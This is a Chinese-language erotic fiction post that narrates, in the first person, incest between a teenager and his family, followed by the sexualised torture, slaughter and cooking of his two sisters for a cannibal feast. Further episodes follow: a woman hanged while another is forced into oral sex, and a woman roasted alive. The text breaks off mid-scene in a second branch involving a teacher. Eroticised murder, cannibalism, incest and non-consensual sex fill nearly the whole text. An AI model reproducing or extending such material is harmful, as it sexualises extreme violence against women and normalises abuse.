图片载入中

秀色之城

特大字】 【大字】 【中字】 【小字

予人玫瑰手留余香,希望您高抬贵手点一下右上角的举手之劳 。

您的支持 是我发帖的动力,谢谢 !

*** *** *** ***

1 月30日

“小京,小京!起床了。”

这是妈妈的声音,我每天都能听到的。

“寒假了,让我多睡一会儿。”

我把被子往上拽了拽,蒙住自己的脑袋,把妈妈的声音从耳边赶走。虽然脚丫露出来了,不过我也懒得管它了。

“那我就用老办法吧。”

我的下半身感觉到一阵凉风,被子被从下面掀起,紧接着,两只手将我的内裤褪到膝盖,我勃起的肉棒立刻从内裤中跳出来。

“嘶……嘶……”

我听到一阵衣物摩擦的声音,大概是妈妈在脱自己的衣服吧?

“嗯……啊……”

我的肉棒突然被妈妈吞进她的小。穴,妈妈的小。穴竟然已经湿乎乎的了。

“啊……啊……啊……”

我掀开被子,看到妈妈全裸着骑在我的身上,一上一下地动着,双手揉搓着自己胸前的两个大包子。

“小京,怎么样?这下你醒了吧?”

妈妈加快了腰部的速度,看样子是想让我快点射出来吧?

“啊……啊……啊……”

妈妈真是辛苦,她在我身上卖力地晃着腰,而我则可以在床上多躺几分钟。

“啊……啊……嗯……啊……”

姜还是老的辣,慢慢地,我也有要射的感觉了,我的腰也主动地动了起来。

“啊……不行了,我要去了!啊啊啊啊!!!!”

在妈妈达到高潮的同时,我的精液也噗哧噗哧地射进妈妈的小。穴里。

“你醒了吗?那我去准备早餐了,你快点过来吃。”

说完,妈妈就离开了我的房间。

我来到一楼,路过姐姐的房间时,听到房间内一阵娇喘。

“啊……啊……”

我隔着半开的门缝看过去,房间里,爸爸正在猛干二姐的屁。眼。

“啊……好棒……”

怪不得妈妈的小。穴湿湿的,一定是因为看到他们两个才湿的。

“小京,不要管他们了,快过来吃饭吧。”

说话的是我的大姐。虽然她嘴上这么说,但是看她脸颊红红的,以及隔着T恤就能看到她翘起的乳头,估计大姐也想来一炮。如果不是我刚刚射过一次的话,我也想和大姐来一炮。

我坐在餐桌旁,桌子上是煎蛋、烤好的面包和一条火腿。

“这条火腿是隔壁李阿姨的吗?”

火腿穿着的那只鞋高跟,我记得李阿姨被宰杀时穿的。

“是啊,一转眼已经两年了。”

李阿姨是隔壁卫叔叔的妻子,两年前,卫叔叔把她宰了,把她的四肢切下来作成火腿。卫叔叔最得意的,就是他做火腿的手艺。他常说,火腿腌的时间越长,味道越鲜美。

“这是卫叔叔送给我们的?”

“对。”

“腌制两年的火腿啊,真是高级。”

二姐切下一片火腿,放到我的盘子里,然后也给自己切了一片。火腿被切开的时候就已经香气四溢了,吃起来更不在话下,结果,对火腿和对卫叔叔的手艺的称赞声贯穿了整个早餐。

爸爸问我:“你今天有什么安排?”

“还没想好。”

“小京啊,不管干什么,中午一定要回来。你今天18岁了,已经到了可以合法宰杀女人的年龄了,所以今天的晚餐的主菜要有你来宰杀,明白吗?”

我点点头。

“当然,要宰谁由你来定。如果你没有合适的人选,就宰掉你的两个姐姐好了。”

我下意识地朝姐姐那边看了一眼,两个姐姐也对我笑了一下。

“我……我再想想吧。”

“好吧,不过你要在中午之前定下来。”

吃饱之后,我回到自己的房间。

“咚咚咚。”

“请进。”

我刚进屋,两个姐姐敲门进来了。

“小京,你上午有空吗?”

“有空,你们有事吗?”

“今天上午我们想去买点午餐晚餐要用的材料,还有一些遗物要送出去。”

“遗物?给我不行吗?”

“都是一些女孩子用的东西,你留着干什么?你上午到底有没有空?我可要提醒你,我们两个剩下的时间不多了。”

“我觉得你言之过早,今天晚上不一定非要宰姐姐,也许我会另外找两个女孩呢。”

二姐有点懵,可能她没想到我会这么说。

“大姐,怎么办?我把财产的大部分都当作遗物送给朋友了。”

“嗯,我也是。小京,要宰谁有你做主,不过我们上午还会去卖东西的。如果你要陪我们一起去的话,就到我们的房间里找我们,不过我们等你只等到八点半。”

说完,她们两个就回房间收拾东西了。

“我上午该干什么呢?”

姐姐让我陪她们购物,而我还没拿定主意要不要宰掉姐姐呢,如果我要找其他人代替姐姐的话,去学校找是最好的了,这时候找熟悉的老师和同学是最合适的。

“对了!”

卫叔叔家的两个女儿,一个17岁,一个18岁,和卫叔叔商量一下,宰掉她们两个也可以。

“咚咚咚。”

“请进。”

我走进两个姐姐的房间,她们两个还在收拾东西。

“你们还在收拾?”

最后我还是决定宰掉两个姐姐。

“没有,东西都收拾好了,刚才只是因为看到了这些东西,稍微回忆了一下过去的事情。”

两个姐姐提起手里的东西。

“走吧。”

首先,我要陪着两个姐姐把她们的遗物送给她们的朋友。两个姐姐是大学生,她们的朋友应该是大学同学一类的吧?我对姐姐的社交圈并不了解。

两个姐姐走了大约20分钟的路程,来到一个很普通的公寓前,然后敲开了一家的房门。

“Hi!沙沙。”

“Hello !是你们呐!诶?这位是你弟弟?”

“是我弟弟。”

“你好。”

开门的是一个身材高挑的女孩。虽然是冬天,但她却穿得很少,而且还不停地用箭头的毛巾擦着汗。

“在锻炼?”

“是啊。”

她把我们让进屋,屋子不大,但却有一半被各种体育器材所占据。

“小京,这位是我们在健身中心认识的吴沙,她是体育大学的学生,也在健身中心当教练。”

“原来如此,怪不得肌肉这么发达。”

看着她一身的肌肉,我不由得想象着把她烤熟之后的样子。

……

……

之后两个姐姐和吴沙聊起来。

……

她们聊的时间真长啊!算了,毕竟这是她们最后一次聊天了,我就不打扰她们了。

和吴沙道别之后,姐姐们到附近的商店里买了些调料,之后就直接回家了。

中午我们吃的都很少,这是为了给晚餐多留些胃口,而两个姐姐一点东西都没吃。

到了下午,两个姐姐已经把自己的身体,从内到外都仔细地清洗了一遍。

“大姐,先从你开始吧。”

虽然我还没有亲手宰杀过女人,但是从小到大,见过爸爸宰杀无数多个女人,具体步骤和注意事项早已烂熟于胸。我让大姐躺在台子上,然后把锯子搁在大姐的大腿根上。

“我要锯你的腿了,要忍住啊。”

我左手按住大姐的小腹,中指抠进姐姐的小。穴里,右手开始锯姐姐的左腿。

“呜……呜……”

姐姐的双手紧紧捂住自己的嘴巴,不让自己发出声音,她的身体因疼痛而剧烈地抽动着,可她还是尽量让自己不要乱动。

“嘎……吱……嘎……吱……”

锯子锯到腿骨了,锯子和腿骨之间的摩擦,产生了刺耳的声音。大姐拼命忍受着腿部的巨大痛苦,不过欣赏大姐的这副样子,正是我的兴趣。

大姐的左腿锯下来之后,我迅速用瓦斯喷枪将创口处的动脉血管烧结,只需要烧动脉血管就可以了。接着我又用同样的方式去掉大姐的四肢。

“我……我变成人棍了,真神奇……”

看样子大姐的精神还好,一时半会儿不会断气儿,趁着大姐还有活力,我用刀剖开她的肚子,从里面掏出一件件冒着热气的内脏。

“啊……啊……啊……”

因为腹压的消失,大姐的声音变得软弱无力,当腹腔的内脏清理干净之后,我依然用瓦斯喷枪将腹腔内的几条动脉血管烧结。去掉四肢和内脏的姐姐轻了不少。

我在姐姐的全身切满了十字花刀,一开始还能听到姐姐的惨叫。

“啊啊啊啊!!!!”

之后姐姐就昏过去了。之后我把姐姐放到开水里煮。

“啊啊啊啊!!!!”

又是一阵声嘶力竭的叫声。

“姐姐,你可要坚持住呀。”

我把姐姐的身体放在开水里煮了五分钟,姐姐肌肤里的血水差不多都被煮出来了,此时旁边的油锅也差不多热了。我把姐姐捞出来,用毛巾擦干她的身体,然后把她同大葱、姜片一起,丢进旁边的油锅里,此时她已经没有叫的力气了。

我小心地把她在油锅里翻几次身,看到她的皮肤颜色变深之后,我用酱油仔细地给她的身体上色,最后往锅里倒入盐、红糖、开水。

“姐姐,听得见我说话吗?”

姐姐吃力地点点头。

“那你笑一下好吗?这样之后装盘的时候能好看一些。”

听到我的话之后,姐姐的脸上出现了一丝笑容,虽然不算完美,但是对于一道菜来说,这个笑容已经算不错了。

我又继续向锅里加入其它香料,盖上锅盖,这个锅盖可以卡住她的头,免得她的头滑到锅里。大火炖了五分钟之后改为小火慢炖,这样炖三个小时,大姐就可以出锅了。

过了半个小时,大姐依然面带微笑,但她的眼底已经浑浊了,我帮她闭上眼睛,然后在她的脸颊上亲了一口。

“二姐,该你了。”

“你把大姐折磨得那么惨,是不是待会儿我也会变成这样?”

“我折磨大姐?好像没有你的份儿似的。”

在我红烧大姐的时候,二姐一直在我旁边忙这忙那,油锅是她烧的、葱姜也是她切的。

等到二姐躺好之后,我轻车熟路地取出了二姐腹腔内的内脏,二姐还能承受这一步骤的疼痛,不过下一个步骤就难说了。

我用镶满铁钉的木板敲打二姐的全身,把她的身上钉出了无数个小孔,每个小孔都在向外喷血。

“啊!疼呀!疼呀!”

钉板不会伤害到她的内脏,因此她还有力气大声喊痛。

“前面钉完了,该钉背面了。”

二姐在我的帮助下翻了个身,我又开始钉她的背面。

“看来我会死得比大姐轻松呢。”

二姐现在满身都是小孔,样子很凄惨,但是她的境遇似乎比被去掉四肢、满身都是十字花刀的大姐要好的多。

“这可不一定。”

我拿起一包盐,把盐粒大把大把地洒在她的后背上,然后用双手去揉搓,将盐粒揉进她后背的小孔中。

“疼疼疼疼疼啊!!!快住手!快住手!!”

“这样可不乖呀,二姐。”

虽然她一直在喊疼,但是她没有反抗我的意思,于是我又将盐撒在她的四肢,同样用手把盐揉进小孔里。之后我把她翻了个身,用沾满盐粒的双手揉搓她满是细孔的乳房,此时二姐的表情真是赞呐!

表面的盐抹好了、腹腔也抹上了一层盐,现在该进蒸笼了。我打开旁边的长方形蒸笼,热腾腾的蒸汽从蒸笼里喷出来。把她送进特制的蒸笼里,让她趴在热腾腾的蒸笼里,因为蒸笼一端有半圆的缺口,我盖上盖子后,正好可以扣住她的脖子,现在二姐的身体在蒸笼里,而头露在蒸笼的外面。

看着在蒸笼里咿咿呀呀的二姐,大约过了十分钟之后,我把二姐从蒸笼里搬出来,用清水清洗她身上的血水、被蒸出来的油脂、还有身上的盐粒。

“好舒服呀。”

刚才还在被闷热的蒸汽和盐粒折磨的二姐,被我清洗过之后,虽然不能称为“舒服”,但痛苦的程度比在蒸笼里小了不少。被凉水冲洗过之后,她皮肤表面的小孔也收紧了,现在她的皮肤依旧洁白无暇。

“别高兴得太早了。”

我拿起钉板,又在她的全身重新钉了一遍,接着给她的身体涂盐,被蒸过十分钟的二姐,要比之前老实了不少,她不哭不闹地任我摆弄,最后我又把她送回蒸笼。

“咚咚咚。”

有人敲厨房的门,爸妈都没这个习惯呀?敲门的是谁呢?我打开门,门外是上午碰面的吴沙。

“你好,你是来找我姐姐的吗?她们在那边。”

吴沙跑到大锅前,叫着大姐的名字。

“芳雯!芳雯!”

“大姐已经八成熟了,她听不见声音了。”

吴沙又跑到蒸笼前。

“芳舞!芳舞!”

“沙沙,谢谢你来看我。”

吴沙擦了擦二姐脸上的油,因为失血的关系,她已经没有可供流汗的水分了。

“感觉怎么样?”

“一开始疼得要命,现在没之前疼了,但是觉得很累,想睡觉。”

吴沙的鼻子凑到姐姐的脖子附近。

“你的味道好香啊。”

“嘿嘿,现在我的身上可是没有任何调料的。”

“真的?这么厉害?”

我再次清洗姐姐的身体、打孔、抹盐粒,姐姐还是在叫,不过她的叫声更接近于呻吟,当我揉搓姐姐半熟的胸部时,吴沙的脸变得红红的,还露出了羡慕的样子。

这个过程重复了四次之后,我把姐姐抬出蒸笼,此时姐姐已经停止唿吸了,在第三次时,她已经无法对我的声音做出反应了。

我最后一次用凉水清洗姐姐的身体,清洗之后的姐姐,除了腹部有一条刀口之外,她的样子就像睡着一样,因为失血的关系,她的皮肤更白了。

我把姐姐装盘,因为家里的盘子不大,我只能把她摆成M 字腿的样子,这样一来,平时害羞的二姐的小。穴,这次要完全展现出来。姐姐的表情显得很平静,去掉内脏之后的身体显得更苗条、更性感了。

我和妈妈一起把二姐搬到大厅里,四十平米的大厅已经装了二十多人了,大部分都是父母的朋友,也有我的熟人。

“小京,你李阿姨的火腿好吃吗?”

“味道鲜极了!李叔叔。”

“呵呵,这可是我家祖传的手艺!不好吃才怪。”

“小京哥哥,小京哥哥。”

“小叶小蝶。”

卫叶、卫蝶是卫叔叔的两个女儿。

“咱们关系这么好,我还以为你第一次宰女人,会宰我们两个呢。”

“呵呵,我想等我的技术练好了,再来处理你们两个。”

客人们先是围过来,对二姐的裸体品头论足一番,接着就开始吃二姐的肉了。他们自己动手,把姐姐身上的肉一块块割下来,然后按照自己的口味,撒上调料。

我也不想什么谦让了,我先切下姐姐的半个乳房,然后一片片切成薄片,和葱花酱油芝麻酱一起送入口中。乳头和舌头接触的感觉,就像舔她活着时的乳头一样,我仿佛还能听到二姐的娇喘。

二姐的肉结实而不腻,虽然餐桌上有好多解油腻的素菜,但大家都围在二姐周围,只吃她的肉。

大家边吃边聊,很快,大姐的肉也烧好了,我们把她装盘,端上桌。大姐的身上是十字花刀,被煮过之后,身上的肉都炸开了,因此没有人像评论二姐一样评论大姐的身体,因为大姐更象是一盘菜。

大姐的双腿已经没有了,阴唇无处可藏,她肚子里还积攒了好多汤汁,汤汁慢慢地从她的小。穴里流出来的样子,有着说不出地淫。荡。

三个小时的时间把大姐的肉炖得十分松软,直接用筷子即可把肉从她的身上夹下来。大姐的肉汤同样鲜美,客人把肉汤上的油撇掉,撒上一些蘑菇和香菜,就可以直接喝了。

宴席很快进入了尾声,我的两个姐姐也只剩下了头和一身的骨架,之后我就陷入了对姐姐的怀念当中。宰杀两个姐姐的时候,我对即将永远失去两个姐姐的这件事,并没有多少感觉。

“小京,你在哭吗?”

细心的妈妈发现我在悄悄地流泪。

“没关系的,所有的男生都经历过这样的事,之后你就习惯了。好了,忙了一下午,你也挺累的了,早点睡觉吧,要不然明天又要赖床了。”。

1 月31日

这是姐姐的房间。现在已经人去屋空了,衣服和首饰都送了出去,房间里只有些家具,地上散落着一些零零碎碎的东西。

“我来收拾一下吧。”

我弯下腰,把地上的东西一件件捡起来。在这些杂物当中,我找到了两张健身卡,一看日期,是上个月新办的,于是我决定今天抽时间,把这两张卡退掉。

这家健身中心就在我家不远的地方,位于一栋综合大楼的二十层,你即便不消费,每天去一趟,不用电梯,也能达到健身的目的了。不过我这次还是打算乘电梯。

进入中心之后,耳边都是器材发出的噪音,好在声音不是很刺耳。在人群中,我一眼就认出了昨天刚刚见面的吴沙。

“吴沙!吴沙!”

我走到她背后,轻拍她的肩膀。

“哦?你是陈京对吧?你的两个姐姐的味道真不错。”

她边说边用哦双手拍着我的肩膀。

“我觉得吴沙姐姐肯定也很美味。”

我上下打量着吴沙的身体,她身上结实的肌肉可不是一朝一夕就能练出来的。

“呵呵,谢谢你的夸奖,你该不会是专程来夸我的吧?”

“不是,我想把我姐姐办的健身卡退掉。”

我把卡片递了过去,她接到之后就一个劲儿的抓头。

“这不好办呀,这种情况不在我们的退款条件之中。这样吧!你办一张会员卡,我帮你把你姐姐的卡里的余额转到你的卡里。”

“不要,我是宅男。”

“你听我说。这里的会员卡有普通卡、只提供给男会员的金卡、只提供给女会员的红卡三种,你两个姐姐的卡里的余额,已经超过一万了,把它转到你的卡里,你就是金卡会员了。”

“然后呢?”

“红卡和普通卡不同,可以打六折。”

“这和我有什么关系?”

“每个星期,金卡会员可以从在场的红卡会员当中挑选一个,当作肉畜带走。”

“真的?我今天能带走一个吗?”

“没问题!”

我半信半疑地办了一张金卡,然后就看到吴沙朝现场的会员招手。

“大家注意!所有红卡会员都到这里集合!”

只见七成的会员都聚拢过来了,看来办红卡的会员挺多的。

“好了,你可以从她们中间挑一个带走。”

“真的?如果她们不同意怎么办?”

“那你可以拿一大笔钱。”

看着眼前大约四十个年龄相貌各异的女人,我一时不知该如何挑选。

“快点挑!别浪费我们的时间!”

一个女孩朝我抱怨道,一时间真想挑她,带回家好好凌辱一番,但是看了看她身上的肥肉,我又打消了这个念头。

“你们的衣服穿的这么严实,我没办法挑呀,你们都把衣服脱了把。”

这些女人似乎都后退了一步,看来脱衣服这件事,她们还不能坦然面对。

“能不脱内衣吗?”

“可以。”

大家各褪了一步,女人们开始脱衣服,眼前出现的是一些我没见过的内衣。

“这是健身内衣,没见过吧?”

吴沙解释道。其中有几个没穿内衣的,就用手捂住自己的乳头和私处。我也不客气地跑过去,在这四十个女人的身上摸来摸去,捏捏她们的胸部、掐掐她们的大腿。

“就是她了。”

最后我选中了一个看起来比较文静的长头发的女孩。待我选定之后,其他人就地穿好衣服,各自忙各自的了。

“介绍一下你自己吧。”

“我叫张恬馨,今年24岁,是幼儿园的老师。”

“你办了张会员卡,自己花钱,最后还让别人给吃了,你要反悔吗?”

“我不反悔,我一直教小朋友要守信用,既然我在办会员卡的时候已经知道有这种可能了,今天我也就不打算反悔了。”

“恬馨,我把你的会员卡里的余额转到你的主人的卡里了。”

“好的。那个,主人,容我打一个电话好吗?打完了我就跟你走。”

“打给谁?”

“打给我的室友,我想请她帮我交接工作,帮我处理一下我的物品,全当是交代后事了。”

等她打完电话之后,我就把她带回了家。在我对父母如此这般地把事情说清楚之后,就把她带回房间,准备好好享受一番。

她不知所措地站在我的房间中间,看样子她似乎是第一次进男生的房间,我抱住她,在她的嘴巴上亲了一口,她的身体立即软化了。

“唔……不要……好害羞……”

被我亲一口就害羞成这样,她到底有多腼腆?我脱光她的衣服,用手温柔地抚弄她的乳头和私处,她很快就进入了状态,她的小。穴里流出了蜜汁。

我把她按在床上,我的肉棒突入她的小。穴,她“啊”地大叫了一声,原来她还是个处女,我越来越喜欢她了。她的表情显得很痛苦,不过在我温柔的抽插下,她慢慢地开始有了舒服的感觉。

“啊,啊,好棒!我要去了!我要去了!”

我的精液酣畅淋漓地射进了她的子宫,但是我还不想结束,紧接着是第二轮、第三轮,最后让她的处女小。穴变得红肿不堪。

之后就让她去把自己洗干净。恬馨真是一个爱干净的女孩,她先把家里打扫了一遍,才开始洗澡。

我准备把她吊死,我去拿绳子的时候经过客厅,发现吴沙正坐在沙发上悠闲地喝着茶。

“吴沙?有什么事吗?”

这次她不会是来找我姐姐的吧?会是和会员卡有关的事吗?

“我是来蹭饭的。”

这女人的脸皮竟然这么厚!不过看在她诱人的乳沟的份上,我就不对她发火了。

“那你愿意过来帮个忙吗?”

“没问题。”

我和吴沙带着绳子来到浴室,此时恬馨已经把自己洗干净了,她正在用毛巾擦自己的身体。我把绳子挽出一个绳套,吊在浴室的天花板上,然后抱起恬馨。

“自己把脖子伸进去。”

待她把脖子伸进绳套,又把头发整理好之后,我一撒手,恬馨就被绳套吊在了半空中,她的双腿徒劳地在空中乱蹬,而我则在旁边欣赏着这幅美景。

“需要我做什么?”

“给我口。交”

“什么?”

我直接把她的头按在我的胯间,在她说“什么?”的时候,将自己的肉棒塞进她的嘴里。

“呃!”

一边看美女被吊死,一边把玩另一个美女,这样的享受才算完整。恬馨的下身流出了金黄色的尿液,随着她身体的摆动,她的尿液被甩得到处都是,不知这个爱干净的女孩,是否知道自己会以这样狼狈的方式死掉。

与此同时,我的肉棒深深捅进了她的喉咙里,用“眼看就要出人命”的体位抽插着。

在我抽插的时候,我、吴沙、恬馨三个人按照同一个节奏晃动着,吴沙的喉咙里咕噜咕噜地响着,因为窒息的关系,她的眼球上翻,露出了眼白,眼看着两个女孩都要窒息死掉了。

我加快了抽插的速度,终于在把吴沙闷死之前,把精液射进了她的食道里。今天第四次射精之后,我和吴沙瘫倒在地板上,恬馨已经不在挣扎,她只是挂在那里,偶尔抽动一下。

我把恬馨从房顶上放下来,搬到厨房里,我从她的小腿上切下一块肉,这便是我们今天中午所用的食材了。我用斧子砍下她的脑袋,接着剖开她的肚子,一件件清理她的内脏。吴沙则一面咳嗽一面从地上艰难地爬起来,走到我的身边。

我手中的刀上下翻飞,把肉一块块从她的身上剃下来,然后一块块送入冰箱。她的头和骨头,被我直接扔到了垃圾桶里。厨房的另一端,妈妈正在用恬馨的小腿肉熬汤。

“你不把她整炖吗?”

吴沙问我。

“算上你,中午吃饭的只有四个人,怎么可能整炖一个人的肉呢?”

“可是,可是,这么漂亮的女孩,最后就这样被切成一块块的,她还真是可怜。如果你要吃我的话,一定把我整个烹调。”

“什么?”

“都是你害的。”

“什么是“都是我害的”?”

“昨天看见你烹调了两个姐姐,今天又见你宰杀恬馨,弄得我现在脑子里只有“被人吃掉”这一件事了。所以,你要负责。”

“好吧,我负责,不过你要我怎么负责?”

“嗯……明天你也把我宰了吧!我没有太多的条件,只要让我装盘时保持身体完整,再给我拍几张照片,上传到网上就可以了。”

“明天呀……明天我有空,我答应你。”

“好极了!我这就去给我的朋友打电话,等找到场地之后,我通知你。对了,你得给我你的手机号。”。

2 月1 日

七点整,我来到吴沙通过短信发给我的地址,天香大酒楼,然后找到吴沙定的一个包间。我推开门,看到桌子旁边坐着十八个女孩,其中包括吴沙在内,她们一边聊天,一边吃着瓜子。

“各位好。”

吴沙站起身来,走到我的旁边。

“我来介绍一下,这位是陈芳雯、陈芳舞的弟弟,陈京,他就是今天中午的大厨。”

然后她把头转过来说:

“小京,今天就有劳你了。”

“这里不是酒楼吗?你为什么不让这里的厨师烹调你?这里的厨师逼我的手艺好多了。”

“这儿的厨师都是女的,我想被像你这样英俊、帅气的男孩宰掉,再说,我还能省下一笔钱。嘿嘿。”

“你可能不知道,死在我手里的女人都挺惨的。”

“嘿嘿,人家不在乎。我从昨天晚上开始,就没有吃过东西,刚刚在这儿也把自己里里外外都洗干净了,你随时都可以开始。”

“好吧,我记得你很在意自己在盘子里的样子吧?你看我把你整个烤熟怎么样?”

“好啊好啊,快点开始吧!”

吴沙已经急不可耐了。

“走吧,跟我到厨房来。”

以前碰上亲戚的婚礼,我也会来这种酒楼的,所以我对酒楼的包间比较熟悉,我知道包间的隔壁就是当场烹调用的厨房。

“你把衣服脱掉,躺在这里。”

在她脱衣服的同时,我简单地看了一下厨房里的调料和食材,很好,酒楼已经准备好烧烤肉畜专用的调料了。嗯,我现在该把烤箱预热一下。包间和厨房之间隔着门窗,另外十七个女孩像苍蝇一样趴在窗户上,对着我们指指点点的。

“我随时都可以……呃……”

时间有限,我不想和她多废话,我猝不及防地用刀子剖开她的肚子,迅速地摘除她腹腔内的器官,为了烧烤的味道好一些,我又用刀子刮掉她腹腔内的脂肪。

“你锻炼得真不错,肚子里的脂肪那么少。”

“谢谢……呃……谢谢夸奖。”

不管她的身体素质多么好,被我开膛之后,也是一副濒死的样子。我先是用水冲洗她的腹腔,等到她的脸色有些发白之后,用喷枪将她腹腔内的血管烧结。

我把她使劲按在台子上,另一只手用专用的注射器将花椒盐直接注射到她的肌肉里,为了味道均匀,我在她的身体上扎了五十多针。

“啊!啊!啊!疼!疼!没想到被作成菜的滋味这么难受!”

“你后悔了?”

“才不后悔呢。”

接着我又揉搓她的全身,让花椒盐和其它调料迅速渗入她的肌肉,而这些刺激性的物质则在她的体内,直接攻击她的痛觉神经。

“疼!疼!疼死我了!好想死啊!”

经过这次“按摩”之后,她全身的肌肉都不同程度地撕裂了。这个过程中,她晕过去好几次,而我则因兴奋而一直硬着,一边抚摸年轻女孩的肌肤,一边听她惨叫,不硬才怪呢。此时的她并没有因为肌肉撕裂而让创伤的部位肿起来,这是因为之前我有意地让她流了些血。

香葱洋葱胡萝卜什么的通通切碎,然后拌上调料,塞进她的肚子里。

“填料能少放一些吗?我想让自己看起来苗条一些。”

她说话有气无力,我估计这句话就是她的最后遗言了。

“好……好……”

调料放好了,我用棉线把腹腔的开口缝起来,又用布条把她的双手绑在身后,我在她的双腿中间插入一根铁棍,铁棍的一端刚要捅进她的阴道。

“等一下!”

“嗯?怎么了?”

“我还是处女,求你别弄破我的处女膜。”

事儿真多,我手中的铁棍方向一转,塞进她的屁。眼里,然后用布条将她的双腿和铁棍捆起来。困住她的手脚是为了防止她的肌肉因受热而变形,影响姿势的美观。

“快要进烤箱了,记得保持笑容,否则端上桌之后也只能是哭丧的脸了。”

用大张的锡纸把她包裹起来之后,就把她塞进烤箱里了,烤箱的火候由程序控制,这就不由我操心了,我只要等四个小时后把她取出来就可以了。

周围的七个女孩看我从厨房里走出来,就围上来问这问那:

“小沙沙她死了吗?”

“没有,我估计她能在烤箱里挺五分钟。”

几个女孩立刻冲到烤箱跟前,她们隔着烤箱的门,除了看到发红的锡纸之外,什么都看不到。我花了点时间,用吴沙腹腔内的脂肪炼成油脂。之后我和她们回到包间,开始闲聊起来,之后我们又开始群交,开心得不得了,都快把烤箱里有个人的事情忘掉了。

四个小时之后,我打开烤箱的门,把锡纸剥开,解开捆绑她的布条,把铁棍撤走。我用刚刚炼制的油刷上几遍,再撒些调料,放到烤箱里又烤了两个小时。这就是我为什么我喜欢宰女人,不喜欢整个烹调女人的原因,太费时间。

我们把她抬到桌子上,此时她的身体已经变为古铜色了,此时的她脸上挂着笑,不知是因为听到我说的话才笑的,还是因为自己变成烤肉而高兴才笑的,总之,她被端上桌子的时候,还是笑着的。

“小沙沙的最后遗言是什么?”

一个女孩问我。

“我记得,她好像说她是处女,不让我弄破她的处女膜。”

“真的?”

几个女孩立刻用刀子切她大腿内侧的肉。

“慢着!你们先等一下,吴沙说过,要让我给她拍几张照片的。”

几个女孩放下手中的刀子,然后我对着吴沙的身体拍了几张照片,接着就一发不可收拾了。几个女孩开始用各种姿势和吴沙合影,她们一张接一张的照,不知拍了多少张,她们还拉着我一起拍照。不过这样也好,我第一次烧烤女人,就把她烤得这么漂亮,也应该合个影,纪念一下。

等到她们拍累了,又重拿起刀,切下她大腿根部的肉,但什么都看不清,于是又切掉她的大阴唇,这下都看清楚了。

“真的耶,你看,她的处女膜都被烤成金黄色的了。”

“你们又不是男人,干嘛看人家的私处?赶紧来尝尝味道吧。”

接着大家一边吃、一边笑,吴沙的身体很快就被吃掉了一半,大家把她剩下的肉打包回家。几个女孩对我的手艺赞不绝口,并说以后有机会,也让我来烹调她们,受当时愉快情绪的感染,我也答应下来了,看来短时间内,我家不用买肉了。

回头看一看吴沙的脸,她还是笑得那么开心,也许她把这份让人开心得心情都融化到了自己的肉里,才让自己如此美味吧?。

分支2

1 月30日

爸爸问我:“你今天有什么安排?”

“还没想好。”

“小京啊,不管干什么,中午一定要回来。你今天18岁了,已经到了可以合法宰杀女人的年龄了,所以今天的晚餐的主菜要有你来宰杀,明白吗?”

我点点头。

“当然,要宰谁由你来定。如果你没有合适的人选,就宰掉你的两个姐姐好了。”

我下意识地朝姐姐那边看了一眼,两个姐姐也对我笑了一下。

“我……我再想想吧。”

“好吧,不过你要在中午之前定下来。”

吃饱之后,我回到自己的房间。

“咚咚咚。”

“请进。”

我刚进屋,两个姐姐敲门进来了。

“小京,你上午有空吗?”

“有空,你们有事吗?”

“今天上午我们想去买点午餐晚餐要用的材料,还有一些遗物要送出去。”

“遗物?给我不行吗?”

“都是一些女孩子用的东西,你留着干什么?你上午到底有没有空?我可要提醒你,我们两个剩下的时间不多了。”

“我觉得你言之过早,今天晚上不一定非要宰姐姐,也许我会另外找两个女孩呢。”

二姐有点懵,可能她没想到我会这么说。

“大姐,怎么办?我把财产的大部分都当作遗物送给朋友了。”

“嗯,我也是。小京,要宰谁由你做主,不过我们上午还会去卖东西的。如果你要陪我们一起去的话,就到我们的房间里找我们,不过我们等你只等到八点半。”

说完,她们两个就回房间收拾东西了。

“我上午该干什么呢?”

姐姐让我陪她们购物,而我还没拿定主意要不要宰掉姐姐呢,如果我要找其他人代替姐姐的话,去学校找是最好的了,这时候找熟悉的老师和同学是最合适的。

“对了!”

卫叔叔家的两个女儿,一个18岁,一个17岁,和卫叔叔商量一下,宰掉她们两个也可以。

现在虽然是寒假,但是赶上学校建校50周年,大部分老师都在学校里商量校庆的事儿呢。说到人选,我首先想到的就是数学老师,她温柔漂亮,平时对我也很好,要是求她的话,她八成会答应的。

路上问了几个人之后,我在教师办公室找到了数学老师。

“老师,能和你聊两句吗?”

“可以,什么事?”

“今天是我18岁生日。”

“是吗?生日快乐,小京,老师是不是该送你点礼物呢?”

“你把你自己送给我就可以了,爸爸让我在今天的晚餐上宰杀女人,所以,我就来找你了。”

我的要求有些唐突,老师的视线从我的脸上移到窗外,她思考片刻之后,从抽屉里拿出一张《教师屠宰许可证》,在上面签上自己的名字,递给我。

“被你宰掉,也是一个不错的归宿,说服校长的事情就交给你了。”

“谢谢老师。”

转了几个弯,我来到校长室门前,敲开门之后,我将我的来意说清楚。

“沈老师可是我们学校最好的老师了,如果你要把她宰掉,可是学校最严重的损失呀。”

校长的话有很多水分,但是沈老师的确是位好老师。

“这样吧,如果你的两个姐姐肯让我干、让我吃的话,我保证,日后你想宰哪个老师,我都批准。”

“真的?”

学校里有一堆我感兴趣的老师,这个交易对我来说是占便宜的,于是我征询了两个姐姐的同意之后,和校长达成了口头协议。毕竟,这种事情严格地说,肯定算是行贿受贿。

我让沈老师看了看我手里盖着公章的许可证,老师点点头,然后把自己的办公桌稍微整理了一下。

“跟我来一下,我再送你一件礼物。”

老师把我带到她住的宿舍里,打开自己的房门,让我进去,狭小的房间里有一个我不认识的女孩。

“这是我的女儿,沈兰兰。”

“你有女儿?那我把你宰掉之后,你的女儿怎么办?送到亲戚家吗?”

老师转向女儿。

“兰兰,妈妈今天就要被宰杀了,你愿意之后去亲戚家住,还是和妈妈一起被宰杀?”

此时兰兰已经呆若木鸡了,毕竟这件毫无预兆的事情对她的冲击太大。老师把我拉到床边。

“先别管她了,让她自己想就可以了,老师好久没有做过了,你就在宰杀我之前,让我好好爽一下吧。”

老师把我按倒在床上,她的嘴巴亲到我的脸上,然后是嘴唇,她边亲边脱我的衣服,老师还真是饥渴呀。老师非常主动,她三下两下就把我扒的精光,她的手在我的肉棒上不停地抚摸。

兴奋起来的我也开始脱她的衣服,把她的乳房捧到自己的面前,用牙齿咬一个乳房的乳头,用另一个乳房摩擦自己的脸颊。我的左手绕过她的臀部,把手指塞进她洪水泛滥的小。穴里,用力地搅拌。

老师的嘴巴大张,把我的肉棒吞入她的喉咙深处,我的腰则不受控制地乱动,肉棒使劲地插她的喉咙,直插得她脸色发紫。

